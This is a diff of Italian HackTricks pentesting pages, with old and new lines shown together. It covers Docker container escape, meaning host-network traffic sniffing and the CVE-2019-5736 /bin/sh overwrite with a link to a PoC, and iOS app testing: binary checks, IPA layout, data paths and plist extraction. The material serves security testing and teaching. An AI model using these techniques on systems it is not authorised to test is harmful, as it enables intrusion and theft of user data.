Se un container è configurato con il driver di rete Docker [host (`--network=host`)](https://docs.docker.com/network/host/), lo stack di rete di quel container non è isolato dall'host Docker (il container condivide lo spazio dei nomi di rete dell'host) e al container non viene assegnato un proprio indirizzo IP. In altre parole, il **container collega tutti i servizi direttamente all'IP dell'host**. Inoltre, il container può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`. Se un container è configurato con il driver di rete host Docker (`--network=host`), lo stack di rete di quel container non è isolato dall'host Docker (il container condivide lo spazio dei nomi di rete dell'host) e al container non viene assegnato un proprio indirizzo IP. In altre parole, il **container collega tutti i servizi direttamente all'IP dell'host**. Inoltre, il container può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`.
Ad esempio, è possibile utilizzare questo metodo per **sniffare e persino falsificare il traffico** tra l'host e l'istanza dei metadati. Ad esempio, è possibile utilizzare questo metodo per **sniffare e persino falsificare il traffico** tra l'host e l'istanza dei metadati.
@ -488,10 +488,10 @@ La seconda tecnica spiegata nel post [https://labs.withsecure.com/blog/abusing-t
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## CVE ## CVE
@ -500,7 +500,7 @@ Ottieni l'accesso oggi:
Nel caso in cui tu possa eseguire `docker exec` come root (probabilmente con sudo), puoi provare a elevare i privilegi sfuggendo da un container abusando di CVE-2019-5736 (exploit [qui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Questa tecnica sovrascriverà essenzialmente il binario _**/bin/sh**_ dell'**host** **da un container**, quindi chiunque esegua docker exec potrebbe attivare il payload. Nel caso in cui tu possa eseguire `docker exec` come root (probabilmente con sudo), puoi provare a elevare i privilegi sfuggendo da un container abusando di CVE-2019-5736 (exploit [qui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Questa tecnica sovrascriverà essenzialmente il binario _**/bin/sh**_ dell'**host** **da un container**, quindi chiunque esegua docker exec potrebbe attivare il payload.
Modifica il payload di conseguenza e compila il main.go con `go build main.go`. Il binario risultante dovrebbe essere posizionato nel container Docker per l'esecuzione.\ Modifica il payload di conseguenza e compila il main.go con `go build main.go`. Il binario risultante dovrebbe essere posizionato nel container Docker per l'esecuzione.\
All'esecuzione, non appena visualizza `[+] Sovrascritto /bin/sh con successo` è necessario eseguire quanto segue dalla macchina host: All'esecuzione, non appena visualizza `[+] Sovrascritto /bin/sh con successo`, è necessario eseguire quanto segue dalla macchina host:
`docker exec -it <nome-container> /bin/sh` `docker exec -it <nome-container> /bin/sh`
@ -509,7 +509,7 @@ Questo attiverà il payload presente nel file main.go.
Per ulteriori informazioni: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) Per ulteriori informazioni: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
{% hint style="info" %} {% hint style="info" %}
Esistono altre CVE a cui il container potrebbe essere vulnerabile, puoi trovarne un elenco in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) Il container potrebbe essere vulnerabile ad altre CVE, è possibile trovarne un elenco in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
{% endhint %} {% endhint %}
## Fuga personalizzata di Docker ## Fuga personalizzata di Docker
@ -631,10 +631,10 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
<details> <details>

View file

@ -3,22 +3,22 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della community più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per creare e **automatizzare flussi di lavoro** con gli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team di HackTricks AWS)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
</details> </details>
@ -28,7 +28,7 @@ Altri modi per supportare HackTricks:
[ios-basics.md](ios-basics.md) [ios-basics.md](ios-basics.md)
{% endcontent-ref %} {% endcontent-ref %}
## Ambiente di test ## Ambiente di Testing
In questa pagina puoi trovare informazioni sul **simulatore iOS**, **emulatori** e **jailbreaking:** In questa pagina puoi trovare informazioni sul **simulatore iOS**, **emulatori** e **jailbreaking:**
@ -36,11 +36,11 @@ In questa pagina puoi trovare informazioni sul **simulatore iOS**, **emulatori**
[ios-testing-environment.md](ios-testing-environment.md) [ios-testing-environment.md](ios-testing-environment.md)
{% endcontent-ref %} {% endcontent-ref %}
## Analisi iniziale ## Analisi Iniziale
### Operazioni di base di test di iOS ### Operazioni di Base di Testing su iOS
Durante il test **saranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire una di queste azioni, **inizia leggendo la pagina**: Durante il testing **saranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire una di queste azioni, **inizia leggendo la pagina**:
{% content-ref url="basic-ios-testing-operations.md" %} {% content-ref url="basic-ios-testing-operations.md" %}
[basic-ios-testing-operations.md](basic-ios-testing-operations.md) [basic-ios-testing-operations.md](basic-ios-testing-operations.md)
@ -48,10 +48,10 @@ Durante il test **saranno suggerite diverse operazioni** (connettersi al disposi
{% hint style="info" %} {% hint style="info" %}
Per i passaggi seguenti **l'applicazione dovrebbe essere installata** sul dispositivo e dovresti aver già ottenuto il **file IPA** dell'applicazione.\ Per i passaggi seguenti **l'applicazione dovrebbe essere installata** sul dispositivo e dovresti aver già ottenuto il **file IPA** dell'applicazione.\
Leggi la pagina [Operazioni di base di test di iOS](basic-ios-testing-operations.md) per imparare come fare. Leggi la pagina [Operazioni di Base di Testing su iOS](basic-ios-testing-operations.md) per imparare come fare.
{% endhint %} {% endhint %}
### Analisi statica di base ### Analisi Statica di Base
Si consiglia di utilizzare lo strumento [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) per eseguire un'Analisi Statica automatica del file IPA. Si consiglia di utilizzare lo strumento [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) per eseguire un'Analisi Statica automatica del file IPA.
@ -72,7 +72,7 @@ otool -I -v <app-binary> | grep stack_chk # Dovrebbe includere i simboli: stac
```bash ```bash
otool -I -v <app-binary> | grep objc_release # Dovrebbe includere il simbolo _objc_release otool -I -v <app-binary> | grep objc_release # Dovrebbe includere il simbolo _objc_release
``` ```
* **Binario crittografato**: Il binario dovrebbe essere crittografato * **Binario Crittografato**: Il binario dovrebbe essere crittografato
```bash ```bash
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe essere 1 otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe essere 1
@ -143,9 +143,9 @@ grep -iER "_printf"
grep -iER "_vsprintf" grep -iER "_vsprintf"
``` ```
### Analisi dinamica di base ### Analisi Dinamica di Base
Controlla l'analisi dinamica che esegue [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Dovrai navigare attraverso le diverse viste e interagire con esse, ma aggancerà diverse classi facendo altre cose e preparerà un report una volta completato. Controlla l'analisi dinamica che [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) esegue. Dovrai navigare attraverso le diverse viste e interagire con esse, ma aggancerà diverse classi e farà altre cose e preparerà un report una volta completato.
### Elencazione delle App Installate ### Elencazione delle App Installate
@ -170,26 +170,26 @@ Scopri come **enumerare i componenti dell'applicazione** e come **agganciare fac
[ios-hooking-with-objection.md](ios-hooking-with-objection.md) [ios-hooking-with-objection.md](ios-hooking-with-objection.md)
{% endcontent-ref %} {% endcontent-ref %}
### Struttura IPA ### Struttura dell'IPA
La struttura di un file **IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando l'estensione in `.zip`, può essere **decompresso** per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente confezionata pronta per l'installazione. All'interno, troverai una directory chiamata `<NAME>.app`, che racchiude le risorse dell'applicazione. La struttura di un file **IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando l'estensione in `.zip`, è possibile **decomprimere** il file per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente confezionata pronta per l'installazione. All'interno, troverai una directory chiamata `<NOME>.app`, che racchiude le risorse dell'applicazione.
* **`Info.plist`**: Questo file contiene dettagli di configurazione specifici dell'applicazione. * **`Info.plist`**: Questo file contiene dettagli specifici di configurazione dell'applicazione.
* **`_CodeSignature/`**: Questa directory include un file plist che contiene una firma, garantendo l'integrità di tutti i file nel bundle. * **`_CodeSignature/`**: Questa directory include un file plist che contiene una firma, garantendo l'integrità di tutti i file nel bundle.
* **`Assets.car`**: Un archivio compresso che memorizza file di risorse come icone. * **`Assets.car`**: Un archivio compresso che memorizza file di risorse come icone.
* **`Frameworks/`**: Questa cartella contiene le librerie native dell'applicazione, che possono essere sotto forma di file `.dylib` o `.framework`. * **`Frameworks/`**: Questa cartella contiene le librerie native dell'applicazione, che possono essere sotto forma di file `.dylib` o `.framework`.
* **`PlugIns/`**: Questo può includere estensioni dell'applicazione, note come file `.appex`, anche se non sono sempre presenti. * **`PlugIns/`**: Questo può includere estensioni dell'applicazione, note come file `.appex`, anche se non sono sempre presenti.
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti dell'applicazione per l'uso offline, memorizzare dati temporanei e aggiungere funzionalità di annullamento all'applicazione su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data replica automaticamente lo schema in un contenitore CloudKit. * [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti dell'applicazione per un utilizzo offline, per memorizzare dati temporanei e per aggiungere funzionalità di annullamento all'app su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data replica automaticamente lo schema in un contenitore CloudKit.
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Il file `PkgInfo` è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle. * [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Il file `PkgInfo` è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle.
* **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti linguistici che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata. * **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti linguistici che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata.
* **Sicurezza**: La directory `_CodeSignature/` svolge un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi attraverso firme digitali. * **Sicurezza**: La directory `_CodeSignature/` svolge un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi attraverso firme digitali.
* **Gestione delle Risorse**: Il file `Assets.car` utilizza la compressione per gestire efficientemente le risorse grafiche, essenziale per ottimizzare le prestazioni dell'applicazione e ridurne le dimensioni complessive. * **Gestione delle Risorse**: Il file `Assets.car` utilizza la compressione per gestire efficientemente le risorse grafiche, essenziale per ottimizzare le performance dell'applicazione e ridurne le dimensioni complessive.
* **Frameworks e PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) ed estendere la funzionalità dell'app (`PlugIns/`). * **Frameworks e PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) ed estendere la funzionalità dell'app (`PlugIns/`).
* **Localizzazione**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti linguistici specifici. * **Localizzazione**: La struttura supporta più lingue, facilitando il raggiungimento globale dell'applicazione includendo risorse per pacchetti linguistici specifici.
**Info.plist** **Info.plist**
L'**Info.plist** funge da fondamento per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di **coppie chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni delle app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dalle autorizzazioni dell'app alle configurazioni di sicurezza. Per una dettagliata esplorazione delle chiavi disponibili, si può fare riferimento alla [**Documentazione per Sviluppatori Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc). L'**Info.plist** funge da fondamento per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di coppie **chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni dell'app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dalle autorizzazioni dell'app alle configurazioni di sicurezza. Per una dettagliata esplorazione delle chiavi disponibili, si può fare riferimento alla [**Documentazione per Sviluppatori Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere ottenuta facilmente tramite l'uso di `plutil` su macOS (disponibile nativamente nelle versioni 10.2 e successive) o `plistutil` su Linux. I comandi per la conversione sono i seguenti: Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere ottenuta facilmente tramite l'uso di `plutil` su macOS (disponibile nativamente nelle versioni 10.2 e successive) o `plistutil` su Linux. I comandi per la conversione sono i seguenti:
@ -202,13 +202,13 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils $ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist $ plistutil -i Info.plist -o Info_xml.plist
``` ```
Tra le miriadi di informazioni che il file **Info.plist** può divulgare, vanno menzionate voci importanti come le stringhe delle autorizzazioni dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`), e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documento personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`: Tra le miriadi di informazioni che il file **Info.plist** può divulgare, le voci degne di nota includono le stringhe delle autorizzazioni dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`), e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documento personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
```bash ```bash
$ grep -i <keyword> Info.plist $ grep -i <keyword> Info.plist
``` ```
**Percorsi dei dati** **Percorsi dei dati**
Nell'ambiente iOS, ci sono directory designate specificamente per le **applicazioni di sistema** e le **applicazioni installate dall'utente**. Le applicazioni di sistema risiedono nella directory `/Applications`, mentre le app installate dall'utente sono collocate sotto `/var/mobile/containers/Data/Application/`. Queste applicazioni sono assegnate un identificatore univoco noto come **UUID a 128 bit**, rendendo difficile la ricerca manuale della cartella di un'app a causa della casualità dei nomi delle directory. Nell'ambiente iOS, ci sono directory designate specificamente per le **applicazioni di sistema** e le **applicazioni installate dall'utente**. Le applicazioni di sistema risiedono nella directory `/Applications`, mentre le app installate dall'utente sono collocate sotto `/var/mobile/containers/Data/Application/`. Queste applicazioni sono assegnate un identificatore univoco noto come un **UUID a 128 bit**, rendendo difficile il compito di individuare manualmente la cartella di un'app a causa della casualità dei nomi delle directory.
{% hint style="warning" %} {% hint style="warning" %}
Poiché le applicazioni in iOS devono essere sandboxate, ogni app avrà anche una cartella all'interno di **`$HOME/Library/Containers`** con l'**`CFBundleIdentifier`** dell'app come nome della cartella. Poiché le applicazioni in iOS devono essere sandboxate, ogni app avrà anche una cartella all'interno di **`$HOME/Library/Containers`** con l'**`CFBundleIdentifier`** dell'app come nome della cartella.
@ -231,7 +231,7 @@ Oppure, il nome dell'app può essere cercato all'interno di `/private/var/contai
```bash ```bash
find /private/var/containers -name "Progname*" find /private/var/containers -name "Progname*"
``` ```
I comandi come `ps` e `lsof` possono anche essere utilizzati per identificare il processo dell'app e elencare i file aperti, rispettivamente, fornendo informazioni sui percorsi attivi dell'applicazione: Comandi come `ps` e `lsof` possono essere utilizzati per identificare il processo dell'app e elencare i file aperti, rispettivamente, fornendo informazioni sui percorsi attivi dell'applicazione:
```bash ```bash
ps -ef | grep -i <app-name> ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1 lsof -p <pid> | grep -i "/containers" | head -n 1
@ -249,7 +249,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
* **Documents/** * **Documents/**
* Contiene tutti i dati generati dall'utente. L'utente finale dell'applicazione inizia la creazione di questi dati. * Contiene tutti i dati generati dall'utente. L'utente finale dell'applicazione inizia la creazione di questi dati.
* Visibile agli utenti e **gli utenti possono scriverci**. * Visibile agli utenti e **gli utenti possono scriverci**.
* I contenuti in questa directory **vengono salvati**. * I contenuti in questa directory vengono **salvati**.
* L'applicazione può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`. * L'applicazione può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
* **Library/** * **Library/**
* Contiene tutti i **file che non sono specifici dell'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione della lista delle proprietà (plist). * Contiene tutti i **file che non sono specifici dell'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione della lista delle proprietà (plist).
@ -262,7 +262,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
* **Library/Application Support/** * **Library/Application Support/**
* Contiene **file persistenti necessari per l'esecuzione dell'applicazione**. * Contiene **file persistenti necessari per l'esecuzione dell'applicazione**.
* **Invisibile agli utenti** e gli utenti non possono scriverci. * **Invisibile agli utenti** e gli utenti non possono scriverci.
* I contenuti in questa directory **vengono salvati**. * I contenuti in questa directory vengono **salvati**.
* L'applicazione può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`. * L'applicazione può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
* **Library/Preferences/** * **Library/Preferences/**
* Utilizzato per memorizzare proprietà che possono **persistere anche dopo il riavvio di un'applicazione**. * Utilizzato per memorizzare proprietà che possono **persistere anche dopo il riavvio di un'applicazione**.
@ -272,7 +272,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
* Utilizzare questa directory per scrivere **file temporanei** che non devono persistere tra i lanci dell'applicazione. * Utilizzare questa directory per scrivere **file temporanei** che non devono persistere tra i lanci dell'applicazione.
* Contiene file memorizzati in cache non persistenti. * Contiene file memorizzati in cache non persistenti.
* **Invisibile** agli utenti. * **Invisibile** agli utenti.
* I contenuti in questa directory **non vengono salvati**. * I contenuti in questa directory non vengono salvati.
* Il sistema operativo potrebbe eliminare automaticamente i file di questa directory quando l'applicazione non è in esecuzione e lo spazio di archiviazione è scarso. * Il sistema operativo potrebbe eliminare automaticamente i file di questa directory quando l'applicazione non è in esecuzione e lo spazio di archiviazione è scarso.
Diamo un'occhiata più da vicino alla directory dell'Applicazione iGoat-Swift (.app) all'interno della directory Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`): Diamo un'occhiata più da vicino alla directory dell'Applicazione iGoat-Swift (.app) all'interno della directory Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
@ -289,7 +289,7 @@ Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt Regular 420 None ... README.txt
``` ```
### Reverse Engineering Binario ### Analisi Binaria
All'interno della cartella `<nome-applicazione>.app` troverai un file binario chiamato `<nome-applicazione>`. Questo è il file che verrà **eseguito**. Puoi effettuare un'ispezione di base del binario con lo strumento **`otool`**: All'interno della cartella `<nome-applicazione>.app` troverai un file binario chiamato `<nome-applicazione>`. Questo è il file che verrà **eseguito**. Puoi effettuare un'ispezione di base del binario con lo strumento **`otool`**:
```bash ```bash
@ -307,13 +307,13 @@ DVIA-v2:
``` ```
**Verifica se l'app è crittografata** **Verifica se l'app è crittografata**
Verifica se c'è un output per: Controlla se c'è un output per:
```bash ```bash
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
``` ```
**Disassemblare il binario** **Disassemblare il binario**
Disassemblare la sezione di testo: Disassembla la sezione di testo:
```bash ```bash
otool -tV DVIA-v2 otool -tV DVIA-v2
DVIA-v2: DVIA-v2:
@ -372,12 +372,12 @@ Tuttavia, le migliori opzioni per disassemblare il binario sono: [**Hopper**](ht
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Archiviazione dei Dati ## Archiviazione dei dati
Per apprendere come iOS archivia i dati nel dispositivo, leggi questa pagina: Per apprendere come iOS archivia i dati nel dispositivo, leggi questa pagina:
@ -386,7 +386,7 @@ Per apprendere come iOS archivia i dati nel dispositivo, leggi questa pagina:
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="warning" %} {% hint style="warning" %}
I seguenti luoghi di archiviazione delle informazioni dovrebbero essere controllati **subito dopo l'installazione dell'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **il logout da un utente e il login con un utente diverso**.\ I seguenti luoghi di archiviazione delle informazioni dovrebbero essere controllati **subito dopo l'installazione dell'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **essere usciti da un utente e aver effettuato l'accesso con un utente diverso**.\
L'obiettivo è trovare **informazioni sensibili non protette** dell'applicazione (password, token), dell'utente corrente e degli utenti precedentemente registrati. L'obiettivo è trovare **informazioni sensibili non protette** dell'applicazione (password, token), dell'utente corrente e degli utenti precedentemente registrati.
{% endhint %} {% endhint %}
@ -396,9 +396,9 @@ I file **plist** sono file XML strutturati che **contengono coppie chiave-valore
Il modo più comune per persistere i dati nei file plist è tramite l'uso di **NSUserDefaults**. Questo file plist viene salvato all'interno del sandbox dell'app in **`Library/Preferences/<appBundleID>.plist`** Il modo più comune per persistere i dati nei file plist è tramite l'uso di **NSUserDefaults**. Questo file plist viene salvato all'interno del sandbox dell'app in **`Library/Preferences/<appBundleID>.plist`**
La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornisce un'interfaccia programmatica per interagire con il sistema predefinito. Il sistema predefinito consente a un'applicazione di personalizzare il suo comportamento in base alle **preferenze dell'utente**. I dati salvati da `NSUserDefaults` possono essere visualizzati nel bundle dell'applicazione. Questa classe archivia **dati** in un **file plist**, ma è destinata ad essere utilizzata con piccole quantità di dati. La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornisce un'interfaccia programmatica per interagire con il sistema predefinito. Il sistema predefinito consente a un'applicazione di personalizzare il suo comportamento in base alle **preferenze dell'utente**. I dati salvati da `NSUserDefaults` possono essere visualizzati nel bundle dell'applicazione. Questa classe memorizza **dati** in un **file plist**, ma è destinata ad essere utilizzata con piccole quantità di dati.
Questi dati non possono essere più accessibili direttamente tramite un computer fidato, ma possono essere accessibili eseguendo un **backup**. Questi dati non possono essere più accessibili direttamente tramite un computer attendibile, ma possono essere accessibili eseguendo un **backup**.
Puoi **estrarre** le informazioni salvate utilizzando **`NSUserDefaults`** utilizzando `ios nsuserdefaults get` di objection. Puoi **estrarre** le informazioni salvate utilizzando **`NSUserDefaults`** utilizzando `ios nsuserdefaults get` di objection.
@ -423,11 +423,12 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
``` ```
### Core Data ### Core Data
